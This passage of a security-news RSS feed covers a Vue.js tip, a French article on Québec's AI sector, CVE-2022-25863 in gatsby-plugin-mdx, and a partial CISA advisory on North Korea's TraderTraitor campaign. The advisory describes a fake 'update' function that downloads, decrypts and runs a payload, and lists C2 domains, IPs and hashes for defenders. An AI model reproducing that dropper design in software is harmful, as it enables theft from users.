<guid isPermaLink="true">https://tsecurity.de/de/1565106/web-tipps/vuejs-apps-ohne-node-webpack-npm-build-tools-oder-cli-erstellen/</guid>
<pubDate>Sat, 09 Jul 2022 10:15:56 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ich liebe Vue.js und für größere Anwendungen ist die Entwicklung mit Node.js gut machbar. Wenn du allerdings eine „normale“ Website erstellen möchtest ist das oft […]</p>
<p>The post <a rel="nofollow" href="https://webdeasy.de/vue-app-ohne-build-tools/">Vue.js Apps ohne Node, Webpack, npm, Build Tools oder CLI erstellen</a> appeared first at <a rel="nofollow" href="https://webdeasy.de/">webdeasy.de</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Comment le Québec est devenu une puissance mondiale en IA]]></title>
<description><![CDATA[L’utilisation de l’intelligence artificielle (IA) explose partout sur la planète alors qu’elle devient un outil essentiel dans une myriade de secteurs et d’industries. Mais pour l’implanter avec succès dans les opérations commerciales, les responsables informatiques doivent s’entourer d’experts m...]]></description>
<link>https://tsecurity.de/de/1542200/it-security-nachrichten/comment-le-qubec-est-devenu-une-puissance-mondiale-en-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1542200/it-security-nachrichten/comment-le-qubec-est-devenu-une-puissance-mondiale-en-ia/</guid>
<pubDate>Wed, 15 Jun 2022 18:34:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section><p>L’utilisation de l’intelligence artificielle (IA) explose partout sur la planète alors qu’elle devient un outil essentiel dans une myriade de secteurs et d’industries. Mais pour l’implanter avec succès dans les opérations commerciales, les responsables informatiques doivent s’entourer d’experts mondiaux tout en créant un écosystème de pointe.</p>



<p>Au Canada, c’est au Québec qu’il faut chercher pareils experts car la province est la véritable locomotive de l’IA au pays : septième au monde – c’est le rang que le Québec occupe dans le Global AI Index de la société britannique Tortoise Media, un classement des pays les plus compétitifs en intelligence artificielle.</p>



<p><em>[ Read the English version: “<strong><a href="https://www.cio.com/article/400779/how-quebec-became-a-world-class-ai-powerhouse.html">How Québec became a world-class AI powerhouse | CIO</a></strong>” ]</em></p>



<p>Publiée fin 2021, <a href="https://forumia.quebec/news/ecosystem-news/le-quebec-une-force-mondiale-en-ia" rel="nofollow">l’étude de Tortoise</a><strong> </strong>place la province juste derrière l’Allemagne et la Corée du Sud, et devant des puissances technologiques comme Israël, le Japon et la France. Le Canada arrive en quatrième place – une performance remarquable dont le Québec est un véritable moteur.</p>



<p>En décembre 2021, la supergrappe canadienne Scale AI annonçait que trois de ses quatre nouvelles chaires de recherche en intelligence artificielle s’installeraient à Montréal : IA pour la mobilité et la logistique urbaines à HEC Montréal, science des données pour le commerce de détail à l’Université McGill, chaînes d’approvisionnement pilotées par les données à Polytechnique Montréal.</p>



<p>Comment la province a-t-elle réussi cette ascension météorique? Selon Tortoise, grâce à la combinaison de trois facteurs : la vigueur de sa recherche fondamentale – un domaine où le Québec se classe cinquième parmi la soixantaine de pays évalués; des stratégies d’investissement gouvernementales gagnantes (sixième) et l’émergence d’une masse critique d’entreprises (septième).</p>



<p>Selon Marie-Paule Jeansonne, présidente et directrice générale du Forum IA Québec, l’écosystème de la province compte aujourd’hui plus de 550 entreprises d’intelligence artificielle. On y trouve plus de 25 incubateurs, accélérateurs et fonds de capital de risque, de même que 45 organismes de soutien.</p>



<p>Même les poids lourds mondiaux du domaine – DeepMind, Google, Facebook, Microsoft, Samsung et Thales – n’ont pu résister à la recette québécoise et ont tous établi des centres d’IA à Montréal.</p>



<h2>De l’université à l’entreprise</h2>



<p>Autrefois discrète dans le milieu académique, l’IA a connu un développement fulgurant dans les départements d’informatique québécois depuis dix ans. L’Université McGill et l’Université de Montréal comptent actuellement plus de 300 chercheurs et doctorants en intelligence artificielle – la plus grande concentration de talents universitaires en IA au monde.</p>



<p>De ces leaders internationaux, Yoshua Bengio est peut-être le mieux connu. Pionnier de l’apprentissage profond – qui consiste à simuler le fonctionnement du cerveau en construisant des réseaux de neurones artificiels – ce professeur de l’Université de Montréal décrochait en 2018 le prix Turing, le « Nobel de l’informatique ». Il dirige l’Institut québécois d’intelligence artificielle (MILA, pour l’ex-Montréal Institute for Learning Algorithms), qui regroupe à lui seul plus de 900 spécialistes de l’apprentissage profond.</p>



<p>C’est cette variante plus évoluée de l’intelligence artificielle qui a fait redécoller cette technologie à la fin du siècle dernier – à tel point qu’ « IA» et « apprentissage profond » sont aujourd’hui souvent utilisés de façon interchangeable.</p>


<div class="extendedBlock-wrapper block-coreImage left"><div class="wp-block-image"><figure class="alignleft size-full is-resized"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2022/06/Yoshua-Bengio.jpg?quality=50&amp;strip=all" alt="" class="wp-image-401278" width="250" height="250" srcset="https://b2b-contenthub.com/wp-content/uploads/2022/06/Yoshua-Bengio.jpg?quality=50&amp;strip=all 956w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Yoshua-Bengio.jpg?resize=150%2C150&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Yoshua-Bengio.jpg?resize=300%2C300&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Yoshua-Bengio.jpg?resize=768%2C767&amp;quality=50&amp;strip=all 768w" sizes="(max-width: 956px) 100vw, 956px"><figcaption><p>Yoshua Bengio, professeur à l’Université de Montréal et pionnier de l’apprentissage profond</p></figcaption></figure></div><p class="imageCredit">Yoshua Bengio</p></div>



<p>Œuvrant dans l’une des capitales mondiales de l’apprentissage profond, beaucoup d’entreprises québécoises ont donc essaimé dans des domaines utilisant cette technologie : reconnaissance et compréhension du langage naturel, analyse des images médicales pour la détection du cancer, découverte de nouveaux biomarqueurs de diverses maladies, gestion intelligente de grands immeubles, infrastructure de centres de données numériques, aérospatiale, formation de pilotes, et plusieurs autres industries de pointe.</p>



<p>Philippe Beaudoin, président de Waverly AI, une start-up qui exploite la compréhension informatique du langage, estime que Bengio a joué un rôle crucial dans l’émergence de l’écosystème québécois : « C’est évident – surtout qu’il a été le seul parmi les stars mondiales de l’apprentissage profond à ne pas se lier directement au <em>Big Tech</em>. C’est cette présence d’un agent libre qui a permis à Montréal d’attirer l’attention des entreprises et des investisseurs.</p>



<p>« Il a aussi promu les valeurs humanistes et écologistes qui allument aujourd’hui les jeunes et brillants entrepreneurs en IA. »</p>



<h2>L’IA pour améliorer l’expérience client</h2>



<p>IVADO, l’Institut de valorisation des données, également dirigé par Bengio, est un organisme panquébécois à l’interface du monde universitaire et des entreprises privées. Cette organisation s’est avérée un puissant catalyseur de l’intégration commerciale de l’intelligence artificielle au Québec :</p>



<p>« IVADO a réuni les meilleurs chercheurs en IA des universités montréalaises – ce qui a par la suite attiré beaucoup de talents et d’entreprises. Et aussi d’autres chercheurs, qui étudient comment l’être humain utilise les nouvelles technologies », explique Sylvain Senécal, professeur en marketing à HEC Montréal et co-directeur du Tech3Lab, le plus important laboratoire universitaire de recherche en expérience usager au monde.</p>



<p>Le Tech3Lab fait partie de la centaine de centres de recherche québécois s’intéressant à l’intelligence artificielle. L’un de ses projets consiste à utiliser l’IA pour comprendre la nature et l’intensité des émotions que vivent les utilisateurs de solutions informatiques.</p>



<p>Pierre-Majorique Léger, professeur au Département des technologies de l’information de HEC Montréal, co-dirige le laboratoire avec Sylvain Senécal : « Les gens génèrent un gigaoctet de données <em>à l’heure</em> lorsqu’ils interagissent avec des systèmes de TI », expliquait-il lors du congrès mondial d’IA TimeWorld en mai 2022 à Montréal. « C’est l’équivalent, en une heure, de toute l’<em>Encyclopedia Britannica</em>. »</p>



<p>L’IA est essentielle à la gestion d’une telle galaxie de données, et l’effort peut rapporter gros. Selon Léger, prendre en compte l’expérience utilisateur dès l’étape de conception d’un nouveau produit, plutôt que de l’adapter en bout de ligne, peut « réduire les dépenses commerciales par un facteur de 100 ».</p>



<h2>Une stratégie de financement gagnante</h2>


<div class="extendedBlock-wrapper block-coreImage left"><div class="wp-block-image"><figure class="alignleft size-large is-resized"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?quality=50&amp;strip=all&amp;w=1021" alt="" class="wp-image-401279" width="250" height="250" srcset="https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?quality=50&amp;strip=all 1296w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?resize=150%2C150&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?resize=300%2C300&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?resize=768%2C770&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?resize=1021%2C1024&amp;quality=50&amp;strip=all 1021w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Philippe-Beaudoin.jpg?resize=1240%2C1240&amp;quality=50&amp;strip=all 1240w" sizes="(max-width: 1021px) 100vw, 1021px"><figcaption><p>Philippe Beaudoin, président de Waverly AI</p></figcaption></figure></div><p class="imageCredit">Philippe Beaudoin</p></div>



<p>Les investissements gouvernementaux ont aussi contribué à mettre l’IA québécoise en orbite. <a href="https://api.forum-ia.devbeet.com/app/uploads/2022/03/pwc_forumiaqc_rapportfinal_2022.pdf">Selon la firme PwC Canada</a>, les sommes investies ont dépassé les 800 millions de dollars entre 2017 et 2021, dont 500 millions du gouvernement fédéral. La moitié de ces montants ont été versés aux divers centres de recherche, ce qui aurait permis de soutenir plus de 3 000 emplois spécialisés.</p>



<p>L’injection de fonds publics a eu un effet de levier important sur l’intégration de l’intelligence artificielle dans les entreprises : le secteur privé a recueilli plus de 1,5 milliard de capital de risque pour des start-up pendant cette période.</p>



<p>« Les stratégies fédérales et provinciales ont été extrêmement bien coordonnées », dit Pierre-Majorique Léger, dont le laboratoire est associé à la fois à IVADO et à la Fondation canadienne de l’innovation. Il souligne notamment qu’il est plus facile au Québec qu’aux États-Unis de financer des projets de recherche en même temps que l’infrastructure dont ils ont besoin – un avantage concurrentiel considérable.</p>



<h2>Une génération d’entreprises innovantes</h2>



<p>Element AI, co-fondée par Bengio et Beaudoin, a aussi favorisé l’éclosion de toute une nouvelle génération de professionnels de l’intelligence artificielle. « Nous avons attiré beaucoup de très bons talents internationaux qui n’étaient pas assez ‘académiques’ pour les labos universitaires, dit Beaudoin. Nous avons ainsi permis à plusieurs d’orienter leurs carrières pour intégrer davantage d’IA et se former sur le terrain – face à de vrais clients et des problèmes concrets qui pouvaient être abordés avec l’intelligence numérique. »</p>



<p>« Nous sommes vraiment entrés dans une deuxième phase du développement de l’écosystème IA grâce à cette nuée de nouvelles entreprises », dit Marie-Paule Jeansonne. On retrouve notamment des start-up qui mettent au point des solutions d’intelligence artificielle allant des médias sociaux aux chaînes d’approvisionnement et aux services de soins à domicile.</p>



<p>« Moi, ça me rend fier en tant qu’entrepreneur », disait Alain Lavoie lors du congrès de Montréal. Président de LexRock AI, son entreprise développe des outils de gestion des documents par traitement du langage naturel.</p>



<p>Il considère que le succès québécois repose sur le cercle vertueux « recherche fondamentale/transfert technologique/commercialisation ». « Ce qui est particulier dans le monde de l’IA, c’est que ça va <em>très</em> vite. Une entreprise ne peut pas suivre le rythme toute seule. »</p>



<p>Pour se tenir à jour, LexRock AI travaille donc elle aussi avec des universitaires; c’est une collaboration extrêmement fructueuse, explique Lavoie, bien que les besoins et échéanciers des partenaires ne soient pas toujours compatibles : « Il faut savoir arrimer le sprint de l’entrepreneur au marathon du chercheur », dit-il.</p>



<h2>L’IA québécoise est-elle solide?</h2>



<p>Le Québec dispose-t-il de tous les outils nécessaires pour se maintenir au premier plan – voire même aller encore plus loin? Marie-Paule Jeansonne fait preuve d’un optimisme prudent : « Il reste beaucoup de travail à faire. La prochaine phase, c’est l’adoption de l’IA [dans l’ensemble de l’économie] pour faire bénéficier toutes les entreprises de ses avantages. »</p>



<p>Selon Alain Lavoie, IVADO continuera de jouer un rôle crucial : « Cet organisme fait beaucoup pour le transfert technologique », dit-il; en aidant les dirigeants de TI à définir leurs projets, à gérer leurs attentes et à obtenir des subventions auprès d’organismes dédiés à l’établissement de partenariats privés-publics – comme Mitacs, une organisation nationale de recherche liée à l’innovation industrielle et sociale.</p>


<div class="extendedBlock-wrapper block-coreImage center"><div class="wp-block-image"><figure class="aligncenter size-full is-resized"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2022/06/Lecosysteme-en-IA.png" alt="" class="wp-image-401288" width="691" height="647" srcset="https://b2b-contenthub.com/wp-content/uploads/2022/06/Lecosysteme-en-IA.png?quality=50&amp;strip=all 975w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Lecosysteme-en-IA.png?resize=300%2C281&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2022/06/Lecosysteme-en-IA.png?resize=768%2C719&amp;quality=50&amp;strip=all 768w" sizes="(max-width: 975px) 100vw, 975px"></figure></div><p class="imageCredit">Forum IA Québec</p></div>



<p>Au Québec, l’arrimage particulier de l’écosystème d’IA avec des nouveaux domaines où les entreprises locales se distinguent constitue une autre voie d’avenir prometteuse. Annoncée au printemps 2022, <a href="https://entertain-ai.com/fr/">l’initiative E-AI</a> vise ainsi à intégrer l’intelligence artificielle aux industries du divertissement; elle regroupe déjà l’éditeur de jeux vidéo Behaviour Interactive et le Bureau du cinéma et de la télévision du Québec – tous deux à Montréal.</p>



<p>Philippe Beaudoin compte surtout sur la compétence des spécialistes québécois pour propulser la prochaine phase de développement : « Je pense que dans les années à venir, nous allons constater la qualité de notre écosystème. Ceux qui ont participé à la première vague vont se pointer le nez un peu partout : dans les grandes entreprises, dans de nouvelles start-up – et en tant que nouveaux leaders à l’échelle internationale. » À condition de préserver la passion pour l’innovation, ajoute-t-il : « Il y a un risque de devenir trop conservateurs dans nos projets futurs. Ce serait malheureux de perdre cet énorme avantage que nous avons créé », conclut Beaudoin.</p>
<category>Artificial Intelligence, Deep Learning</category></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-25863]]></title>
<description><![CDATA[The package gatsby-plugin-mdx before 2.14.1, from 3.0.0 and before 3.15.2 are vulnerable to Deserialization of Untrusted Data when passing input through to the gray-matter package, due to its default configurations that are missing input sanitization. Exploiting this vulnerability is possible whe...]]></description>
<link>https://tsecurity.de/de/1538592/sicherheitsluecken/cve-2022-25863/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1538592/sicherheitsluecken/cve-2022-25863/</guid>
<pubDate>Sat, 11 Jun 2022 07:04:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The package gatsby-plugin-mdx before 2.14.1, from 3.0.0 and before 3.15.2 are vulnerable to Deserialization of Untrusted Data when passing input through to the gray-matter package, due to its default configurations that are missing input sanitization. Exploiting this vulnerability is possible when passing input in both webpack (MDX files in src/pages or MDX file imported as a component in frontend / React code) and data mode (querying MDX nodes via GraphQL). Workaround: If an older version of gatsby-plugin-mdx must be used, input passed into the plugin should be sanitized ahead of processing.]]></content:encoded>
</item>
<item>
<title><![CDATA[AA22-108A: TraderTraitor: North Korean State-Sponsored APT Targets Blockchain Companies]]></title>
<description><![CDATA[Original release date: April 18, 2022 | Last revised: April 20, 2022SummaryActions to take today to mitigate cyber threats to cryptocurrency:
• Patch all systems.
• Prioritize patching known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Use multifactor auth...]]></description>
<link>https://tsecurity.de/de/1534028/sicherheitsluecken/aa22-108a-tradertraitor-north-korean-state-sponsored-apt-targets-blockchain-companies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1534028/sicherheitsluecken/aa22-108a-tradertraitor-north-korean-state-sponsored-apt-targets-blockchain-companies/</guid>
<pubDate>Tue, 07 Jun 2022 07:06:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Original release date: April 18, 2022 | Last revised: April 20, 2022<br><h3>Summary</h3><p class="tip-intro"><b>Actions to take today to mitigate cyber threats to cryptocurrency:</b><br>
• <a href="https://us-cert.cisa.gov/ncas/tips/ST04-006">Patch</a> all systems.<br>
• Prioritize patching <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">known exploited vulnerabilities</a>.<br>
• Train users to recognize and report <a href="https://us-cert.cisa.gov/ncas/tips/ST04-014">phishing attempts</a>.<br>
• Use <a href="https://us-cert.cisa.gov/ncas/tips/ST05-012">multifactor authentication</a>.</p>

<p>The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the U.S. Treasury Department (Treasury) are issuing this joint Cybersecurity Advisory (CSA) to highlight the cyber threat associated with cryptocurrency thefts and tactics used by a North Korean state-sponsored advanced persistent threat (APT) group since at least 2020. This group is commonly tracked by the cybersecurity industry as Lazarus Group, APT38, BlueNoroff, and Stardust Chollima. For more information on North Korean state-sponsored malicious cyber activity, visit <a href="https://www.us-cert.cisa.gov/northkorea">https://www.us-cert.cisa.gov/northkorea</a>.</p>

<p>The U.S. government has observed North Korean cyber actors targeting a variety of organizations in the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges, decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency trading companies, venture capital funds investing in cryptocurrency, and individual holders of large amounts of cryptocurrency or valuable non-fungible tokens (NFTs). The activity described in this advisory involves social engineering of victims using a variety of communication platforms to encourage individuals to download trojanized cryptocurrency applications on Windows or macOS operating systems. The cyber actors then use the applications to gain access to the victim’s computer, propagate malware across the victim’s network environment, and steal private keys or exploit other security gaps. These activities enable additional follow-on activities that initiate fraudulent blockchain transactions.</p>

<p>The U.S. government previously published an advisory about North Korean state-sponsored cyber actors using AppleJeus malware to steal cryptocurrency: <a href="https://www.cisa.gov/uscert/ncas/alerts/aa21-048a">AppleJeus: Analysis of North Korea’s Cryptocurrency Malware</a>. The U.S. government has also previously published advisories about North Korean state-sponsored cyber actors stealing money from banks using custom malware:</p>

<ul><li><a href="https://www.cisa.gov/uscert/ncas/alerts/TA18-275A">HIDDEN COBRA – FASTCash Campaign</a></li>
	<li><a href="https://www.cisa.gov/uscert/ncas/alerts/aa20-239a">FASTCash 2.0: North Korea’s BeagleBoyz Robbing Banks</a></li>
</ul><p>This advisory provides information on tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to stakeholders in the blockchain technology and cryptocurrency industry to help them identify and mitigate cyber threats against cryptocurrency. </p>

<p><a href="https://us-cert.cisa.gov/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf">Click here</a> for a PDF version of this report. </p>

<p><a href="https://us-cert.cisa.gov/sites/default/files/A22-108A.stix.xml">Click here</a> for STIX.</p>
<h3>Technical Details</h3><h4><strong>Threat Update</strong></h4>

<p>The U.S. government has identified a group of North Korean state-sponsored malicious cyber actors using tactics similar to the previously identified Lazarus Group (see <a href="https://www.cisa.gov/uscert/ncas/alerts/aa21-048a">AppleJeus: Analysis of North Korea’s Cryptocurrency Malware</a>). The Lazarus Group used AppleJeus trojanized cryptocurrency applications targeting individuals and companies—including cryptocurrency exchanges and financial services companies—through the dissemination of cryptocurrency trading applications that were modified to include malware that facilitates theft of cryptocurrency. As of April 2022, North Korea’s Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency. These actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime. </p>

<h4><strong>Tactics, Techniques and Procedures</strong></h4>

<p>Intrusions begin with a large number of spearphishing messages sent to employees of cryptocurrency companies—often working in system administration or software development/IT operations (DevOps)—on a variety of communication platforms. The messages often mimic a recruitment effort and offer high-paying jobs to entice the recipients to download malware-laced cryptocurrency applications, which the U.S. government refers to as "TraderTraitor."</p>

<p>The term TraderTraitor describes a series of malicious applications written using cross-platform JavaScript code with the Node.js runtime environment using the Electron framework. The malicious applications are derived from a variety of open-source projects and purport to be cryptocurrency trading or price prediction tools. TraderTraitor campaigns feature websites with modern design advertising the alleged features of the applications (see figure 1).</p>

<p> </p>
<img alt="" data-align="center" data-entity-type="file" data-entity-uuid="2efc8075-7899-4797-b753-338b628d754c" height="442" src="https://us-cert.cisa.gov/sites/default/files/publications/Figure%201_Screenshot.png" width="900"><p class="text-align-center"><strong><em>Figure 1: Screenshot of CryptAIS website</em></strong></p>

<p>The JavaScript code providing the core functions of the software is bundled with Webpack. Within the code is a function that purports to be an “update,” with a name such as <code>UpdateCheckSync()</code>, that downloads and executes a malicious payload (see figure 2). </p>

<p>The update function makes an HTTP POST request to a PHP script hosted on the TraderTraitor project’s domain at either the endpoint <code>/update/</code> or <code>/oath/checkupdate.php</code>. In recent variants, the server’s response is parsed as a JSON document with a key-value pair, where the key is used as an AES 256 encryption key in Cipher Block Chaining (CBC) or Counter (CTR) mode to decrypt the value. The decrypted data is written as a file to the system’s temporary directory, as provided by the <code>os.tmpdir()</code> method of Node.js, and executed using the <code>child_process.exec()</code> method of Node.js, which spawns a shell as a child process of the current Electron application. The text “Update Finished” is then logged to the shell for the user to see.</p>

<p>Observed payloads include updated macOS and Windows variants of Manuscrypt, a custom remote access trojan (RAT), that collects system information and has the ability to execute arbitrary commands and download additional payloads (see <a href="https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-133a">North Korean Remote Access Tool: COPPERHEDGE</a>). Post-compromise activity is tailored specifically to the victim’s environment and at times has been completed within a week of the initial intrusion.  </p>

<p> </p>

<p class="text-align-center"><img alt="" data-entity-type="file" data-entity-uuid="0bb0826d-acf1-4eea-aac5-c6f36e5122b9" height="1391" src="https://us-cert.cisa.gov/sites/default/files/publications/Figure%202_Screenshot%20depicting%20the%20Update.png" width="1027"></p>

<p class="text-align-center"><em><strong>Figure 2: Screenshot depicting the UpdateCheckSync() and supporting functions bundled </strong></em><em><strong>within 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 associated with DAFOM</strong></em></p>

<h4><strong>Indicators of Compromise</strong></h4>

<p><em><strong>DAFOM</strong></em><br>
DAFOM purports to be a “cryptocurrency portfolio application.” A Mach-O binary packaged within the Electron application was signed by an Apple digital signature issued for the Apple Developer Team W58CYKFH67. The certificate associated with Apple Developer Team W58CYKFH67 has been revoked. A metadata file packaged in the DAFOM application provided the URL <code>hxxps://github[.]com/dafomdev</code> for bug reports. As of April 2022, this page was unavailable.</p>

<p> </p>

<p><em><strong>dafom[.]dev</strong></em></p>

<p>Information as of February 2022:<br><strong>IP Address: </strong>45.14.227[.]58<br><strong>Registrar: </strong>NameCheap, Inc.<br><strong>Created: </strong>February 7, 2022<br><strong>Expires: </strong>February 7, 2023</p>

<p> </p>

<p><em><strong>60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18</strong></em></p>

<p><strong>Tags: </strong>dropper macos<br><strong>Name:</strong> DAFOM-1.0.0.dmg<br><strong>Size:</strong> 87.91 MB (92182575 bytes)<br><strong>MD5:</strong> c2ea5011a91cd59d0396eb4fa8da7d21<br><strong>SHA-1:</strong> b2d9ca7b6d1bbbe4864ea11dfca343b7e15597d8<br><strong>SHA-256:</strong> 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18<br><strong>ssdeep:</strong> 1572864:LGLBnolF9kPEiKOabR2QEs1B1/LuUQrbecE6Xwijkca/pzpfaLtIP:LGVnoT9kPZK9tVEwBxWbecR5Faxzpf0M</p>

<p> </p>

<p><em><strong>TokenAIS</strong></em><br>
TokenAIS purports to help “build a portfolio of AI-based trading” for cryptocurrencies. Mach-O binaries packaged within the Electron application contained an Apple digital signature issued for the Apple Developer Team RN4BTXA4SA. The certificate associated with Apple Developer Team RN4BTXA4SA has been revoked. The application requires users to “register” an account by entering an email address and a password to use its features. The malicious TraderTraitor code is a Node.js function called <code>UpdateCheckSync() </code>located in a file named <code>update.js</code>, which is bundled in a file called <code>renderer.prod.js</code>, which is in an archive called <code>app.asar</code>. This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CBC mode with the hardcoded initialization vector (IV) <code>!@34QWer%^78TYui</code> and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell.</p>

<p> </p>

<p><em><strong>tokenais[.]com</strong></em></p>

<p>Information as of January 2022:<br><strong>IP Address:</strong> 199.188.103[.]115<br><strong>Registrar:</strong> NameCheap, Inc.<br><strong>Created:</strong> January 27, 2022<br><strong>Expires:</strong> January 27, 2023</p>

<p> </p>

<p><em><strong>5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03</strong></em></p>

<p><strong>Tags: </strong>dropper macos<br><strong>Name: </strong>TokenAIS.app.zip<br><strong>Size: </strong>118.00 MB (123728267 bytes)<br><strong>MD5:</strong> 930f6f729e5c4d5fb52189338e549e5e<br><strong>SHA-1:</strong> 8e67006585e49f51db96604487138e688df732d3<br><strong>SHA-256:</strong> 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03<br><strong>ssdeep:</strong> 3145728:aMFJlKVvw4+zLruAsHrmo5Vvw4+zLruAsHrmob0dC/E:aUlKtw4+/r2HNtw4+/r2HnMCM</p>

<p> </p>

<p><em><strong>CryptAIS</strong></em><br>
CryptAIS uses the same language as TokenAIS to advertise that it “helps build a portfolio of AI-based trading.” It is distributed as an Apple Disk Image (DMG) file that is digitally signed by an Apple digital signature issued for the Apple Developer Team CMHD64V5R8. The certificate associated with Apple Developer Team CMHD64V5R8 has been revoked. The application requires users to “register” an account by entering an email address and a password to use its features. The malicious TraderTraitor code is a Node.js function called <code>UpdateCheckSync()</code> located in a file named <code>update.js</code>, which is bundled in a file called <code>renderer.prod.js</code>, which is in an archive called <code>app.asar</code>. This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CTR mode and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell.</p>

<p> </p>

<p><strong><em>cryptais[.]com</em></strong></p>

<p>Information as of August 2021:<br><strong>IP Address:</strong> 82.102.31.14<br><strong>Registrar:</strong> NameCheap, Inc.<br><strong>Created:</strong> August 2, 2021<br><strong>Expires: </strong>August 2, 2022</p>

<p> </p>

<p><strong><em>f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b</em></strong></p>

<p><strong>Tags:</strong> dropper macos<br><strong>Name:</strong> CryptAIS[.]dmg<br><strong>Size:</strong> 80.36 MB (84259810 bytes)<br><strong>MD5:</strong> 4e5ebbecd22c939f0edf1d16d68e8490<br><strong>SHA-1:</strong> f1606d4d374d7e2ba756bdd4df9b780748f6dc98<br><strong>SHA-256:</strong> f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b<br><strong>ssdeep:</strong> 1572864:jx9QOwiLDCUrJXsKMoGTwiCcKFI8jmrvGqjL2hX6QklBmrZgkZjMz+dPSpR0Xcpk:F9QOTPCUrdsKEw3coIg2Or6XBmrZgkZw</p>

<p> </p>

<p><em><strong>AlticGO</strong></em><br>
AlticGO was observed packaged as Nullsoft Scriptable Install System (NSIS) Windows executables that extracted an Electron application packaged for Windows. These executables contain a simpler version of TraderTraitor code in a function exported as <code>UpdateCheckSync()</code> located in a file named <code>update.js</code>, which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an external function located in a file <code>node_modules/request/index.js</code> bundled in renderer.prod.js to make an HTTP request to hxxps://www.alticgo[.]com/update/. One AlticGO sample, <code>e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad</code>, instead contacts <code>hxxps://www.esilet[.]com/update/</code> (see below for more information about Esilet). Some image resources bundled with the application included the CreAI Deck logo (see below for more information about CreAI Deck). The response is written to disk and executed in a new shell using the <code>child_process.exec()</code> method in <code>Node.js</code>. Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload.</p>

<p> </p>

<p><em><strong>alticgo[.]com</strong></em></p>

<p>Information as of August 2020:<br><strong>IP Address:</strong> 108.170.55[.]202<br><strong>Registrar:</strong> NetEarth One Inc.<br><strong>Created:</strong> August 8, 2020<br><strong>Expires: </strong>August 8, 2021</p>

<p> </p>

<p><em><strong>765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819</strong></em></p>

<p><strong>Tags:</strong> dropper peexe nsis<br><strong>Name: </strong>AlticGO.exe<br><strong>Size:</strong> 43.54 MB (45656474 bytes)<br><strong>MD5:</strong> 1c7d0ae1c4d2c0b70f75eab856327956<br><strong>SHA-1:</strong> f3263451f8988a9b02268f0fb6893f7c41b906d9<br><strong>SHA-256:</strong> 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819<br><strong>ssdeep:</strong> 786432:optZmVDkD1mZ1FggTqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yVPUXi7:opzKDginspAU6JXnJ46X+eC6cySihWVX<br><strong>Compilation timestamp:</strong> 2018-12-15 22:26:14 UTC</p>

<p> </p>

<p><strong><em>e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad</em></strong></p>

